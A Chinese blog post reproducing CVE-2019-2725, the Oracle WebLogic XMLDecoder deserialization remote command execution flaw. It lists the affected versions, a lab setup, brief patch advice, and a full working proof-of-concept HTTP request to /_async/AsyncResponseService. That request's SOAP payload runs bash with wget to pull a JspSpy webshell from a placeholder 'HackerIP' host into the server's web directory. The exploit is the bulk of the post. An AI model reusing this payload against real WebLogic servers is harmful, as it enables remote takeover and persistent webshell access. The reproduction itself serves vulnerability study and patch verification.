Weblogic反序列化漏洞(CVE-2019-2725)

Weblogic反序列化漏洞

0x00 漏洞描述

  CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

0x01 影响范围

  weblogic 10.x

  weblogic 12.1.3

0x02 漏洞复现

  环境介绍:

    攻击机:Windows7

    靶机:Windows7(apache tomcat8.5.39)

    内网服务器:Linux(Oracle weblogic10.3.6)

  复现过程:

    首先搭建apache tomcat作为已经被黑客入侵并且存在webshell的网站:

  

 

 

     然后上传大马:

   

 

 

     然后开始搭建weblogic,这里我是用的Linux系统,搭建成功后访问:

 

 

     漏洞存在于:_async/AsyncResponseService,访问地址可以访问则存在漏洞:

 

 

     可以访问,即存在漏洞,使用burp抓包然后构造payload发送到服务器,使服务器执行命令,下载apache tomcat网站的大马:

 

 

     可以看到返回值:202,命令执行成功,访问:

    

 

 

     木马成功上传,也可以查看服务器:

 

 

0x03 修复建议

  1、升级本地JDK环境

  2、及时安装官方补丁

POC如下:

POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
View Code

 

 

 

   

 

posted @ 2020-06-01 20:01  终落  阅读(14339)  评论(0编辑  收藏  举报
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